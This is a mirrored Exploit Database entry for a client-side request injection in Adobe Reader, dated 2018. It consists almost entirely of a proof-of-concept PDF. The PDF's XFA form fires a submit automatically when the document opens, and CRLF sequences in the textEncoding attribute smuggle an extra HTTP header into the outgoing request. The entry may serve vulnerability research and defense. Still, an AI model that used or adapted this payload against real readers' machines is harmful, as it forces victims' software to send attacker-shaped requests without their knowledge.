Adobe Reader PDF – Client Side Request Injection

• Exploit Database
• 113 阅读

• 作者： Alex Inführ
  日期： 2018-05-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44573/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

  % a PDF file using an XFA   % most whitespace can be removed (truncated to 570 bytes or so...)   % Ange Albertini BSD Licence 2012   % modified by InsertScript     %PDF-1. % can be truncated to %PDF-\0     1 0 obj <<>> stream <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config><present><pdf> <interactive>1</interactive> </pdf></present></config>   <template> <subform name="_"> <pageSet/> <field id="Hello World!"> <event activity="docReady" ref="$host" name="event__click"> <submit textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;" xdpContent="pdf datasets xfdf" target="http://example.com/test"/> </event> </field> </subform> </template> </xdp:xdp> endstream endobj   trailer << /Root << /AcroForm << /Fields [<< /T (0) /Kids [<< /Subtype /Widget /Rect [] /T () /FT /Btn >>] >>] /XFA 1 0 R >> /Pages <<>> >> >>